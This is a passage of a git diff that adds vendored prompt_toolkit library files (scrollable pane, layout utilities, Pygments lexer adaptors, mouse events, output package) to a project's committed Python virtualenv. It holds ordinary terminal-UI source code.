cell.char, prepend_style + cell.style + append_style + ] + + +class WritePosition: + def __init__(self, xpos: int, ypos: int, width: int, height: int) -> None: + assert height >= 0 + assert width >= 0 + # xpos and ypos can be negative. (A float can be partially visible.) + + self.xpos = xpos + self.ypos = ypos + self.width = width + self.height = height + + def __repr__(self) -> str: + return "{}(x={!r}, y={!r}, width={!r}, height={!r})".format( + self.__class__.__name__, + self.xpos, + self.ypos, + self.width, + self.height, + ) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/layout/scrollable_pane.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/layout/scrollable_pane.py new file mode 100644 index 00000000..a5500d7f --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/layout/scrollable_pane.py @@ -0,0 +1,493 @@ +from typing import Dict, List, Optional + +from prompt_toolkit.data_structures import Point +from prompt_toolkit.filters import FilterOrBool, to_filter +from prompt_toolkit.key_binding import KeyBindingsBase +from prompt_toolkit.mouse_events import MouseEvent + +from .containers import Container, ScrollOffsets +from .dimension import AnyDimension, Dimension, sum_layout_dimensions, to_dimension +from .mouse_handlers import MouseHandler, MouseHandlers +from .screen import Char, Screen, WritePosition + +__all__ = ["ScrollablePane"] + +# Never go beyond this height, because performance will degrade. +MAX_AVAILABLE_HEIGHT = 10_000 + + +class ScrollablePane(Container): + """ + Container widget that exposes a larger virtual screen to its content and + displays it in a vertical scrollbale region. + + Typically this is wrapped in a large `HSplit` container. Make sure in that + case to not specify a `height` dimension of the `HSplit`, so that it will + scale according to the content. + + .. note:: + + If you want to display a completion menu for widgets in this + `ScrollablePane`, then it's still a good practice to use a + `FloatContainer` with a `CompletionsMenu` in a `Float` at the top-level + of the layout hierarchy, rather then nesting a `FloatContainer` in this + `ScrollablePane`. (Otherwise, it's possible that the completion menu + is clipped.) + + :param content: The content container. + :param scrolloffset: Try to keep the cursor within this distance from the + top/bottom (left/right offset is not used). + :param keep_cursor_visible: When `True`, automatically scroll the pane so + that the cursor (of the focused window) is always visible. + :param keep_focused_window_visible: When `True`, automatically scroll th e + pane so that the focused window is visible, or as much visible as + possible if it doen't completely fit the screen. + :param max_available_height: Always constraint the height to this amount + for performance reasons. + :param width: When given, use this width instead of looking at the children. + :param height: When given, use this height instead of looking at the children. + :param show_scrollbar: When `True` display a scrollbar on the right. + """ + + def __init__( + self, + content: Container, + scroll_offsets: Optional[ScrollOffsets] = None, + keep_cursor_visible: FilterOrBool = True, + keep_focused_window_visible: FilterOrBool = True, + max_available_height: int = MAX_AVAILABLE_HEIGHT, + width: AnyDimension = None, + height: AnyDimension = None, + show_scrollbar: FilterOrBool = True, + display_arrows: FilterOrBool = True, + up_arrow_symbol: str = "^", + down_arrow_symbol: str = "v", + ) -> None: + self.content = content + self.scroll_offsets = scroll_offsets or ScrollOffsets(top=1, bottom=1) + self.keep_cursor_visible = to_filter(keep_cursor_visible) + self.keep_focused_window_visible = to_filter(keep_focused_window_visible) + self.max_available_height = max_available_height + self.width = width + self.height = height + self.show_scrollbar = to_filter(show_scrollbar) + self.display_arrows = to_filter(display_arrows) + self.up_arrow_symbol = up_arrow_symbol + self.down_arrow_symbol = down_arrow_symbol + + self.vertical_scroll = 0 + + def __repr__(self) -> str: + return f"ScrollablePane({self.content!r})" + + def reset(self) -> None: + self.content.reset() + + def preferred_width(self, max_available_width: int) -> Dimension: + if self.width is not None: + return to_dimension(self.width) + + # We're only scrolling vertical. So the preferred width is equal to + # that of the content. + content_width = self.content.preferred_width(max_available_width) + + # If a scrollbar needs to be displayed, add +1 to the content width. + if self.show_scrollbar(): + return sum_layout_dimensions([Dimension.exact(1), content_width]) + + return content_width + + def preferred_height(self, width: int, max_available_height: int) -> Dimension: + if self.height is not None: + return to_dimension(self.height) + + # Prefer a height large enough so that it fits all the content. If not, + # we'll make the pane scrollable. + if self.show_scrollbar(): + # If `show_scrollbar` is set. Always reserve space for the scrollbar. + width -= 1 + + dimension = self.content.preferred_height(width, self.max_available_height) + + # Only take 'preferred' into account. Min/max can be anything. + return Dimension(min=0, preferred=dimension.preferred) + + def write_to_screen( + self, + screen: Screen, + mouse_handlers: MouseHandlers, + write_position: WritePosition, + parent_style: str, + erase_bg: bool, + z_index: Optional[int], + ) -> None: + """ + Render scrollable pane content. + + This works by rendering on an off-screen canvas, and copying over the + visible region. + """ + show_scrollbar = self.show_scrollbar() + + if show_scrollbar: + virtual_width = write_position.width - 1 + else: + virtual_width = write_position.width + + # Compute preferred height again. + virtual_height = self.content.preferred_height( + virtual_width, self.max_available_height + ).preferred + + # Ensure virtual height is at least the available height. + virtual_height = max(virtual_height, write_position.height) + virtual_height = min(virtual_height, self.max_available_height) + + # First, write the content to a virtual screen, then copy over the + # visible part to the real screen. + temp_screen = Screen(default_char=Char(char=" ", style=parent_style)) + temp_write_position = WritePosition( + xpos=0, ypos=0, width=virtual_width, height=virtual_height + ) + + temp_mouse_handlers = MouseHandlers() + + self.content.write_to_screen( + temp_screen, + temp_mouse_handlers, + temp_write_position, + parent_style, + erase_bg, + z_index, + ) + temp_screen.draw_all_floats() + + # If anything in the virtual screen is focused, move vertical scroll to + from prompt_toolkit.application import get_app + + focused_window = get_app().layout.current_window + + try: + visible_win_write_pos = temp_screen.visible_windows_to_write_positions[ + focused_window + ] + except KeyError: + pass # No window focused here. Don't scroll. + else: + # Make sure this window is visible. + self._make_window_visible( + write_position.height, + virtual_height, + visible_win_write_pos, + temp_screen.cursor_positions.get(focused_window), + ) + + # Copy over virtual screen and zero width escapes to real screen. + self._copy_over_screen(screen, temp_screen, write_position, virtual_width) + + # Copy over mouse handlers. + self._copy_over_mouse_handlers( + mouse_handlers, temp_mouse_handlers, write_position, virtual_width + ) + + # Set screen.width/height. + ypos = write_position.ypos + xpos = write_position.xpos + + screen.width = max(screen.width, xpos + virtual_width) + screen.height = max(screen.height, ypos + write_position.height) + + # Copy over window write positions. + self._copy_over_write_positions(screen, temp_screen, write_position) + + if temp_screen.show_cursor: + screen.show_cursor = True + + # Copy over cursor positions, if they are visible. + for window, point in temp_screen.cursor_positions.items(): + if ( + 0 <= point.x < write_position.width + and self.vertical_scroll + <= point.y + < write_position.height + self.vertical_scroll + ): + screen.cursor_positions[window] = Point( + x=point.x + xpos, y=point.y + ypos - self.vertical_scroll + ) + + # Copy over menu positions, but clip them to the visible area. + for window, point in temp_screen.menu_positions.items(): + screen.menu_positions[window] = self._clip_point_to_visible_area( + Point(x=point.x + xpos, y=point.y + ypos - self.vertical_scroll), + write_position, + ) + + # Draw scrollbar. + if show_scrollbar: + self._draw_scrollbar( + write_position, + virtual_height, + screen, + ) + + def _clip_point_to_visible_area( + self, point: Point, write_position: WritePosition + ) -> Point: + """ + Ensure that the cursor and menu positions always are always reported + """ + if point.x < write_position.xpos: + point = point._replace(x=write_position.xpos) + if point.y < write_position.ypos: + point = point._replace(y=write_position.ypos) + if point.x >= write_position.xpos + write_position.width: + point = point._replace(x=write_position.xpos + write_position.width - 1) + if point.y >= write_position.ypos + write_position.height: + point = point._replace(y=write_position.ypos + write_position.height - 1) + + return point + + def _copy_over_screen( + self, + screen: Screen, + temp_screen: Screen, + write_position: WritePosition, + virtual_width: int, + ) -> None: + """ + Copy over visible screen content and "zero width escape sequences". + """ + ypos = write_position.ypos + xpos = write_position.xpos + + for y in range(write_position.height): + temp_row = temp_screen.data_buffer[y + self.vertical_scroll] + row = screen.data_buffer[y + ypos] + temp_zero_width_escapes = temp_screen.zero_width_escapes[ + y + self.vertical_scroll + ] + zero_width_escapes = screen.zero_width_escapes[y + ypos] + + for x in range(virtual_width): + row[x + xpos] = temp_row[x] + + if x in temp_zero_width_escapes: + zero_width_escapes[x + xpos] = temp_zero_width_escapes[x] + + def _copy_over_mouse_handlers( + self, + mouse_handlers: MouseHandlers, + temp_mouse_handlers: MouseHandlers, + write_position: WritePosition, + virtual_width: int, + ) -> None: + """ + Copy over mouse handlers from virtual screen to real screen. + + Note: we take `virtual_width` because we don't want to copy over mouse + handlers that we possibly have behind the scrollbar. + """ + ypos = write_position.ypos + xpos = write_position.xpos + + # Cache mouse handlers when wrapping them. Very often the same mouse + # handler is registered for many positions. + mouse_handler_wrappers: Dict[MouseHandler, MouseHandler] = {} + + def wrap_mouse_handler(handler: MouseHandler) -> MouseHandler: + "Wrap mouse handler. Translate coordinates in `MouseEvent`." + if handler not in mouse_handler_wrappers: + + def new_handler(event: MouseEvent) -> None: + new_event = MouseEvent( + position=Point( + x=event.position.x - xpos, + y=event.position.y + self.vertical_scroll - ypos, + ), + event_type=event.event_type, + button=event.button, + modifiers=event.modifiers, + ) + handler(new_event) + + mouse_handler_wrappers[handler] = new_handler + return mouse_handler_wrappers[handler] + + # Copy handlers. + mouse_handlers_dict = mouse_handlers.mouse_handlers + temp_mouse_handlers_dict = temp_mouse_handlers.mouse_handlers + + for y in range(write_position.height): + if y in temp_mouse_handlers_dict: + temp_mouse_row = temp_mouse_handlers_dict[y + self.vertical_scroll] + mouse_row = mouse_handlers_dict[y + ypos] + for x in range(virtual_width): + if x in temp_mouse_row: + mouse_row[x + xpos] = wrap_mouse_handler(temp_mouse_row[x]) + + def _copy_over_write_positions( + self, screen: Screen, temp_screen: Screen, write_position: WritePosition + ) -> None: + """ + Copy over window write positions. + """ + ypos = write_position.ypos + xpos = write_position.xpos + + for win, write_pos in temp_screen.visible_windows_to_write_positions.items(): + screen.visible_windows_to_write_positions[win] = WritePosition( + xpos=write_pos.xpos + xpos, + ypos=write_pos.ypos + ypos - self.vertical_scroll, + # TODO: if the window is only partly visible, then truncate width/height. + # This could be important if we have nested ScrollablePanes. + height=write_pos.height, + width=write_pos.width, + ) + + def is_modal(self) -> bool: + return self.content.is_modal() + + def get_key_bindings(self) -> Optional[KeyBindingsBase]: + return self.content.get_key_bindings() + + def get_children(self) -> List["Container"]: + return [self.content] + + def _make_window_visible( + self, + visible_height: int, + virtual_height: int, + visible_win_write_pos: WritePosition, + cursor_position: Optional[Point], + ) -> None: + """ + Scroll the scrollable pane, so that this window becomes visible. + + :param visible_height: Height of this `ScrollablePane` that is rendered. + :param virtual_height: Height of the virtual, temp screen. + :param visible_win_write_pos: `WritePosition` of the nested window on the + temp screen. + :param cursor_position: The location of the cursor position of this + window on the temp screen. + """ + # Start with maximum allowed scroll range, and then reduce according to + # the focused window and cursor position. + min_scroll = 0 + max_scroll = virtual_height - visible_height + + if self.keep_cursor_visible(): + # Reduce min/max scroll according to the cursor in the focused window. + if cursor_position is not None: + offsets = self.scroll_offsets + cpos_min_scroll = ( + cursor_position.y - visible_height + 1 + offsets.bottom + ) + cpos_max_scroll = cursor_position.y - offsets.top + min_scroll = max(min_scroll, cpos_min_scroll) + max_scroll = max(0, min(max_scroll, cpos_max_scroll)) + + if self.keep_focused_window_visible(): + # Reduce min/max scroll according to focused window position. + # If the window is small enough, bot the top and bottom of the window + # should be visible. + if visible_win_write_pos.height <= visible_height: + window_min_scroll = ( + visible_win_write_pos.ypos + + visible_win_write_pos.height + - visible_height + ) + window_max_scroll = visible_win_write_pos.ypos + else: + # Window does not fit on the screen. Make sure at least the whole + # screen is occupied with this window, and nothing else is shown. + window_min_scroll = visible_win_write_pos.ypos + window_max_scroll = ( + visible_win_write_pos.ypos + + visible_win_write_pos.height + - visible_height + ) + + min_scroll = max(min_scroll, window_min_scroll) + max_scroll = min(max_scroll, window_max_scroll) + + if min_scroll > max_scroll: + min_scroll = max_scroll # Should not happen. + + # Finally, properly clip the vertical scroll. + if self.vertical_scroll > max_scroll: + self.vertical_scroll = max_scroll + if self.vertical_scroll < min_scroll: + self.vertical_scroll = min_scroll + + def _draw_scrollbar( + self, write_position: WritePosition, content_height: int, screen: Screen + ) -> None: + """ + Draw the scrollbar on the screen. + + Note: There is some code duplication with the `ScrollbarMargin` + implementation. + """ + + window_height = write_position.height + display_arrows = self.display_arrows() + + if display_arrows: + window_height -= 2 + + try: + fraction_visible = write_position.height / float(content_height) + fraction_above = self.vertical_scroll / float(content_height) + + scrollbar_height = int( + min(window_height, max(1, window_height * fraction_visible)) + ) + scrollbar_top = int(window_height * fraction_above) + except ZeroDivisionError: + return + else: + + def is_scroll_button(row: int) -> bool: + "True if we should display a button on this row." + return scrollbar_top <= row <= scrollbar_top + scrollbar_height + + xpos = write_position.xpos + write_position.width - 1 + ypos = write_position.ypos + data_buffer = screen.data_buffer + + # Up arrow. + if display_arrows: + data_buffer[ypos][xpos] = Char( + self.up_arrow_symbol, "class:scrollbar.arrow" + ) + ypos += 1 + + # Scrollbar body. + scrollbar_background = "class:scrollbar.background" + scrollbar_background_start = "class:scrollbar.background,scrollbar.start" + scrollbar_button = "class:scrollbar.button" + scrollbar_button_end = "class:scrollbar.button,scrollbar.end" + + for i in range(window_height): + style = "" + if is_scroll_button(i): + if not is_scroll_button(i + 1): + # Give the last cell a different style, because we want + # to underline this. + style = scrollbar_button_end + else: + style = scrollbar_button + else: + if is_scroll_button(i + 1): + style = scrollbar_background_start + else: + style = scrollbar_background + + data_buffer[ypos][xpos] = Char(" ", style) + ypos += 1 + + # Down arrow + if display_arrows: + data_buffer[ypos][xpos] = Char( + self.down_arrow_symbol, "class:scrollbar.arrow" + ) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/layout/utils.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/layout/utils.py new file mode 100644 index 00000000..2e0f3438 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/layout/utils.py @@ -0,0 +1,80 @@ +from typing import TYPE_CHECKING, Iterable, List, TypeVar, Union, cast, overload + +from prompt_toolkit.formatted_text.base import OneStyleAndTextTuple + +if TYPE_CHECKING: + from typing_extensions import SupportsIndex + +__all__ = [ + "explode_text_fragments", +] + +_T = TypeVar("_T", bound=OneStyleAndTextTuple) + + +class _ExplodedList(List[_T]): + """ + Wrapper around a list, that marks it as 'exploded'. + + As soon as items are added or the list is extended, the new items are + automatically exploded as well. + """ + + exploded = True + + def append(self, item: _T) -> None: + self.extend([item]) + + def extend(self, lst: Iterable[_T]) -> None: + super().extend(explode_text_fragments(lst)) + + def insert(self, index: "SupportsIndex", item: _T) -> None: + raise NotImplementedError # TODO + + # TODO: When creating a copy() or [:], return also an _ExplodedList. + + @overload + def __setitem__(self, index: "SupportsIndex", value: _T) -> None: + ... + + @overload + def __setitem__(self, index: slice, value: Iterable[_T]) -> None: + ... + + def __setitem__( + self, index: Union["SupportsIndex", slice], value: Union[_T, Iterable[_T]] + ) -> None: + """ + Ensure that when `(style_str, 'long string')` is set, the string will be + exploded. + """ + if not isinstance(index, slice): + int_index = index.__index__() + index = slice(int_index, int_index + 1) + if isinstance(value, tuple): # In case of `OneStyleAndTextTuple`. + value = cast("List[_T]", [value]) + + super().__setitem__(index, explode_text_fragments(cast("Iterable[_T]", value))) + + +def explode_text_fragments(fragments: Iterable[_T]) -> _ExplodedList[_T]: + """ + Turn a list of (style_str, text) tuples into another list where each string is + exactly one character. + + It should be fine to call this function several times. Calling this on a + list that is already exploded, is a null operation. + + :param fragments: List of (style, text) tuples. + """ + # When the fragments is already exploded, don't explode again. + if isinstance(fragments, _ExplodedList): + return fragments + + result: List[_T] = [] + + for style, string, *rest in fragments: # type: ignore + for c in string: # type: ignore + result.append((style, c, *rest)) # type: ignore + + return _ExplodedList(result) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/lexers/__init__.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/lexers/__init__.py new file mode 100644 index 00000000..3e875e65 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/lexers/__init__.py @@ -0,0 +1,18 @@ +""" +Lexer interface and implementations. +Used for syntax highlighting. +""" +from .base import DynamicLexer, Lexer, SimpleLexer +from .pygments import PygmentsLexer, RegexSync, SyncFromStart, SyntaxSync + +__all__ = [ + # Base. + "Lexer", + "SimpleLexer", + "DynamicLexer", + # Pygments. + "PygmentsLexer", + "RegexSync", + "SyncFromStart", + "SyntaxSync", +] diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/lexers/base.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/lexers/base.py new file mode 100644 index 00000000..dd9f2459 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/lexers/base.py @@ -0,0 +1,82 @@ +""" +Base classes for prompt_toolkit lexers. +""" +from abc import ABCMeta, abstractmethod +from typing import Callable, Hashable, Optional + +from prompt_toolkit.document import Document +from prompt_toolkit.formatted_text.base import StyleAndTextTuples + +__all__ = [ + "Lexer", + "SimpleLexer", + "DynamicLexer", +] + + +class Lexer(metaclass=ABCMeta): + """ + Base class for all lexers. + """ + + @abstractmethod + def lex_document(self, document: Document) -> Callable[[int], StyleAndTextTuples]: + """ + Takes a :class:`~prompt_toolkit.document.Document` and returns a + callable that takes a line number and returns a list of + ``(style_str, text)`` tuples for that line. + + XXX: Note that in the past, this was supposed to return a list + of ``(Token, text)`` tuples, just like a Pygments lexer. + """ + + def invalidation_hash(self) -> Hashable: + """ + When this changes, `lex_document` could give a different output. + (Only used for `DynamicLexer`.) + """ + return id(self) + + +class SimpleLexer(Lexer): + """ + Lexer that doesn't do any tokenizing and returns the whole input as one + token. + + :param style: The style string for this lexer. + """ + + def __init__(self, style: str = "") -> None: + self.style = style + + def lex_document(self, document: Document) -> Callable[[int], StyleAndTextTuples]: + lines = document.lines + + def get_line(lineno: int) -> StyleAndTextTuples: + "Return the tokens for the given line." + try: + return [(self.style, lines[lineno])] + except IndexError: + return [] + + return get_line + + +class DynamicLexer(Lexer): + """ + Lexer class that can dynamically returns any Lexer. + + :param get_lexer: Callable that returns a :class:`.Lexer` instance. + """ + + def __init__(self, get_lexer: Callable[[], Optional[Lexer]]) -> None: + self.get_lexer = get_lexer + self._dummy = SimpleLexer() + + def lex_document(self, document: Document) -> Callable[[int], StyleAndTextTuples]: + lexer = self.get_lexer() or self._dummy + return lexer.lex_document(document) + + def invalidation_hash(self) -> Hashable: + lexer = self.get_lexer() or self._dummy + return id(lexer) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/lexers/pygments.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/lexers/pygments.py new file mode 100644 index 00000000..d50f8afd --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/lexers/pygments.py @@ -0,0 +1,335 @@ +""" +Adaptor classes for using Pygments lexers within prompt_toolkit. + +This includes syntax synchronization code, so that we don't have to start +lexing at the beginning of a document, when displaying a very large text. +""" +import re +from abc import ABCMeta, abstractmethod +from typing import ( + TYPE_CHECKING, + Callable, + Dict, + Generator, + Iterable, + Optional, + Tuple, + Type, +) + +from prompt_toolkit.document import Document +from prompt_toolkit.filters import FilterOrBool, to_filter +from prompt_toolkit.formatted_text.base import StyleAndTextTuples +from prompt_toolkit.formatted_text.utils import split_lines +from prompt_toolkit.styles.pygments import pygments_token_to_classname + +from .base import Lexer, SimpleLexer + +if TYPE_CHECKING: + from pygments.lexer import Lexer as PygmentsLexerCls + +__all__ = [ + "PygmentsLexer", + "SyntaxSync", + "SyncFromStart", + "RegexSync", +] + + +class SyntaxSync(metaclass=ABCMeta): + """ + Syntax synchroniser. This is a tool that finds a start position for the + lexer. This is especially important when editing big documents; we don't + want to start the highlighting by running the lexer from the beginning of + the file. That is very slow when editing. + """ + + @abstractmethod + def get_sync_start_position( + self, document: Document, lineno: int + ) -> Tuple[int, int]: + """ + Return the position from where we can start lexing as a (row, column) + tuple. + + :param document: `Document` instance that contains all the lines. + :param lineno: The line that we want to highlight. (We need to return + this line, or an earlier position.) + """ + + +class SyncFromStart(SyntaxSync): + """ + Always start the syntax highlighting from the beginning. + """ + + def get_sync_start_position( + self, document: Document, lineno: int + ) -> Tuple[int, int]: + return 0, 0 + + +class RegexSync(SyntaxSync): + """ + Synchronize by starting at a line that matches the given regex pattern. + """ + + # Never go more than this amount of lines backwards for synchronisation. + # That would be too CPU intensive. + MAX_BACKWARDS = 500 + + # Start lexing at the start, if we are in the first 'n' lines and no + # synchronisation position was found. + FROM_START_IF_NO_SYNC_POS_FOUND = 100 + + def __init__(self, pattern: str) -> None: + self._compiled_pattern = re.compile(pattern) + + def get_sync_start_position( + self, document: Document, lineno: int + ) -> Tuple[int, int]: + """ + Scan backwards, and find a possible position to start. + """ + pattern = self._compiled_pattern + lines = document.lines + + # Scan upwards, until we find a point where we can start the syntax + # synchronisation. + for i in range(lineno, max(-1, lineno - self.MAX_BACKWARDS), -1): + match = pattern.match(lines[i]) + if match: + return i, match.start() + + # No synchronisation point found. If we aren't that far from the + # beginning, start at the very beginning, otherwise, just try to start + # at the current line. + if lineno < self.FROM_START_IF_NO_SYNC_POS_FOUND: + return 0, 0 + else: + return lineno, 0 + + @classmethod + def from_pygments_lexer_cls(cls, lexer_cls: "PygmentsLexerCls") -> "RegexSync": + """ + Create a :class:`.RegexSync` instance for this Pygments lexer class. + """ + patterns = { + # For Python, start highlighting at any class/def block. + "Python": r"^\s*(class|def)\s+", + "Python 3": r"^\s*(class|def)\s+", + # For HTML, start at any open/close tag definition. + "HTML": r"<[/a-zA-Z]", + # For javascript, start at a function. + "JavaScript": r"\bfunction\b" + # TODO: Add definitions for other languages. + # By default, we start at every possible line. + } + p = patterns.get(lexer_cls.name, "^") + return cls(p) + + +class _TokenCache(Dict[Tuple[str, ...], str]): + """ + Cache that converts Pygments tokens into `prompt_toolkit` style objects. + + ``Token.A.B.C`` will be converted into: + ``class:pygments,pygments.A,pygments.A.B,pygments.A.B.C`` + """ + + def __missing__(self, key: Tuple[str, ...]) -> str: + result = "class:" + pygments_token_to_classname(key) + self[key] = result + return result + + +_token_cache = _TokenCache() + + +class PygmentsLexer(Lexer): + """ + Lexer that calls a pygments lexer. + + Example:: + + from pygments.lexers.html import HtmlLexer + lexer = PygmentsLexer(HtmlLexer) + + Note: Don't forget to also load a Pygments compatible style. E.g.:: + + from prompt_toolkit.styles.from_pygments import style_from_pygments_cls + from pygments.styles import get_style_by_name + style = style_from_pygments_cls(get_style_by_name('monokai')) + + :param pygments_lexer_cls: A `Lexer` from Pygments. + :param sync_from_start: Start lexing at the start of the document. This + will always give the best results, but it will be slow for bigger + documents. (When the last part of the document is display, then the + whole document will be lexed by Pygments on every key stroke.) It is + recommended to disable this for inputs that are expected to be more + than 1,000 lines. + :param syntax_sync: `SyntaxSync` object. + """ + + # Minimum amount of lines to go backwards when starting the parser. + # This is important when the lines are retrieved in reverse order, or when + # scrolling upwards. (Due to the complexity of calculating the vertical + # scroll offset in the `Window` class, lines are not always retrieved in + # order.) + MIN_LINES_BACKWARDS = 50 + + # When a parser was started this amount of lines back, read the parser + # until we get the current line. Otherwise, start a new parser. + # (This should probably be bigger than MIN_LINES_BACKWARDS.) + REUSE_GENERATOR_MAX_DISTANCE = 100 + + def __init__( + self, + pygments_lexer_cls: Type["PygmentsLexerCls"], + sync_from_start: FilterOrBool = True, + syntax_sync: Optional[SyntaxSync] = None, + ) -> None: + + self.pygments_lexer_cls = pygments_lexer_cls + self.sync_from_start = to_filter(sync_from_start) + + # Instantiate the Pygments lexer. + self.pygments_lexer = pygments_lexer_cls( + stripnl=False, stripall=False, ensurenl=False + ) + + # Create syntax sync instance. + self.syntax_sync = syntax_sync or RegexSync.from_pygments_lexer_cls( + pygments_lexer_cls + ) + + @classmethod + def from_filename( + cls, filename: str, sync_from_start: FilterOrBool = True + ) -> "Lexer": + """ + Create a `Lexer` from a filename. + """ + # Inline imports: the Pygments dependency is optional! + from pygments.lexers import get_lexer_for_filename + from pygments.util import ClassNotFound + + try: + pygments_lexer = get_lexer_for_filename(filename) + except ClassNotFound: + return SimpleLexer() + else: + return cls(pygments_lexer.__class__, sync_from_start=sync_from_start) + + def lex_document(self, document: Document) -> Callable[[int], StyleAndTextTuples]: + """ + Create a lexer function that takes a line number and returns the list + of (style_str, text) tuples as the Pygments lexer returns for that line. + """ + LineGenerator = Generator[Tuple[int, StyleAndTextTuples], None, None] + + # Cache of already lexed lines. + cache: Dict[int, StyleAndTextTuples] = {} + + # Pygments generators that are currently lexing. + # Map lexer generator to the line number. + line_generators: Dict[LineGenerator, int] = {} + + def get_syntax_sync() -> SyntaxSync: + "The Syntax synchronisation object that we currently use." + if self.sync_from_start(): + return SyncFromStart() + else: + return self.syntax_sync + + def find_closest_generator(i: int) -> Optional[LineGenerator]: + "Return a generator close to line 'i', or None if none was found." + for generator, lineno in line_generators.items(): + if lineno < i and i - lineno < self.REUSE_GENERATOR_MAX_DISTANCE: + return generator + return None + + def create_line_generator(start_lineno: int, column: int = 0) -> LineGenerator: + """ + Create a generator that yields the lexed lines. + Each iteration it yields a (line_number, [(style_str, text), ...]) tuple. + """ + + def get_text_fragments() -> Iterable[Tuple[str, str]]: + text = "\n".join(document.lines[start_lineno:])[column:] + + # We call `get_text_fragments_unprocessed`, because `get_tokens` will + # still replace \r\n and \r by \n. (We don't want that, + # Pygments should return exactly the same amount of text, as we + # have given as input.) + for _, t, v in self.pygments_lexer.get_tokens_unprocessed(text): + # Turn Pygments `Token` object into prompt_toolkit style + # strings. + yield _token_cache[t], v + + yield from enumerate(split_lines(list(get_text_fragments())), start_lineno) + + def get_generator(i: int) -> LineGenerator: + """ + Find an already started generator that is close, or create a new one. + """ + # Find closest line generator. + generator = find_closest_generator(i) + if generator: + return generator + + # No generator found. Determine starting point for the syntax + # synchronisation first. + + # Go at least x lines back. (Make scrolling upwards more + # efficient.) + i = max(0, i - self.MIN_LINES_BACKWARDS) + + if i == 0: + row = 0 + column = 0 + else: + row, column = get_syntax_sync().get_sync_start_position(document, i) + + # Find generator close to this point, or otherwise create a new one. + generator = find_closest_generator(i) + if generator: + return generator + else: + generator = create_line_generator(row, column) + + # If the column is not 0, ignore the first line. (Which is + # incomplete. This happens when the synchronisation algorithm tells + # us to start parsing in the middle of a line.) + if column: + next(generator) + row += 1 + + line_generators[generator] = row + return generator + + def get_line(i: int) -> StyleAndTextTuples: + "Return the tokens for a given line number." + try: + return cache[i] + except KeyError: + generator = get_generator(i) + + # Exhaust the generator, until we find the requested line. + for num, line in generator: + cache[num] = line + if num == i: + line_generators[generator] = i + + # Remove the next item from the cache. + # (It could happen that it's already there, because of + # another generator that started filling these lines, + # but we want to synchronise these lines with the + # current lexer's state.) + if num + 1 in cache: + del cache[num + 1] + + return cache[num] + return [] + + return get_line diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/log.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/log.py new file mode 100644 index 00000000..36ceced4 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/log.py @@ -0,0 +1,10 @@ +""" +Logging configuration. +""" +import logging + +__all__ = [ + "logger", +] + +logger = logging.getLogger(__package__) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/mouse_events.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/mouse_events.py new file mode 100644 index 00000000..e10ff032 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/mouse_events.py @@ -0,0 +1,88 @@ +""" +Mouse events. + + +How it works +------------ + +The renderer has a 2 dimensional grid of mouse event handlers. +(`prompt_toolkit.layout.MouseHandlers`.) When the layout is rendered, the +`Window` class will make sure that this grid will also be filled with +callbacks. For vt100 terminals, mouse events are received through stdin, just +like any other key press. There is a handler among the key bindings that +catches these events and forwards them to such a mouse event handler. It passes +through the `Window` class where the coordinates are translated from absolute +coordinates to coordinates relative to the user control, and there +`UIControl.mouse_handler` is called. +""" +from enum import Enum +from typing import FrozenSet + +from .data_structures import Point + +__all__ = ["MouseEventType", "MouseButton", "MouseModifier", "MouseEvent"] + + +class MouseEventType(Enum): + # Mouse up: This same event type is fired for all three events: left mouse + # up, right mouse up, or middle mouse up + MOUSE_UP = "MOUSE_UP" + + # Mouse down: This implicitly refers to the left mouse down (this event is + # not fired upon pressing the middle or right mouse buttons). + MOUSE_DOWN = "MOUSE_DOWN" + + SCROLL_UP = "SCROLL_UP" + SCROLL_DOWN = "SCROLL_DOWN" + + # Triggered when the left mouse button is held down, and the mouse moves + MOUSE_MOVE = "MOUSE_MOVE" + + +class MouseButton(Enum): + LEFT = "LEFT" + MIDDLE = "MIDDLE" + RIGHT = "RIGHT" + + # When we're scrolling, or just moving the mouse and not pressing a button. + NONE = "NONE" + + # This is for when we don't know which mouse button was pressed, but we do + # know that one has been pressed during this mouse event (as opposed to + # scrolling, for example) + UNKNOWN = "UNKNOWN" + + +class MouseModifier(Enum): + SHIFT = "SHIFT" + ALT = "ALT" + CONTROL = "CONTROL" + + +class MouseEvent: + """ + Mouse event, sent to `UIControl.mouse_handler`. + + :param position: `Point` instance. + :param event_type: `MouseEventType`. + """ + + def __init__( + self, + position: Point, + event_type: MouseEventType, + button: MouseButton, + modifiers: FrozenSet[MouseModifier], + ) -> None: + self.position = position + self.event_type = event_type + self.button = button + self.modifiers = modifiers + + def __repr__(self) -> str: + return "MouseEvent({!r},{!r},{!r},{!r})".format( + self.position, + self.event_type, + self.button, + self.modifiers, + ) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/output/__init__.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/output/__init__.py new file mode 100644 index 00000000..7b90b476 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/output/__init__.py @@ -0,0 +1,13 @@ +from .base import DummyOutput, Output +from .color_depth import ColorDepth +from .defaults import create_output + +__all__ = [ + # Base. + "Output", + "DummyOutput", + # Color depth. + "ColorDepth", + # Defaults. + "create_output", +] diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/output/base.py 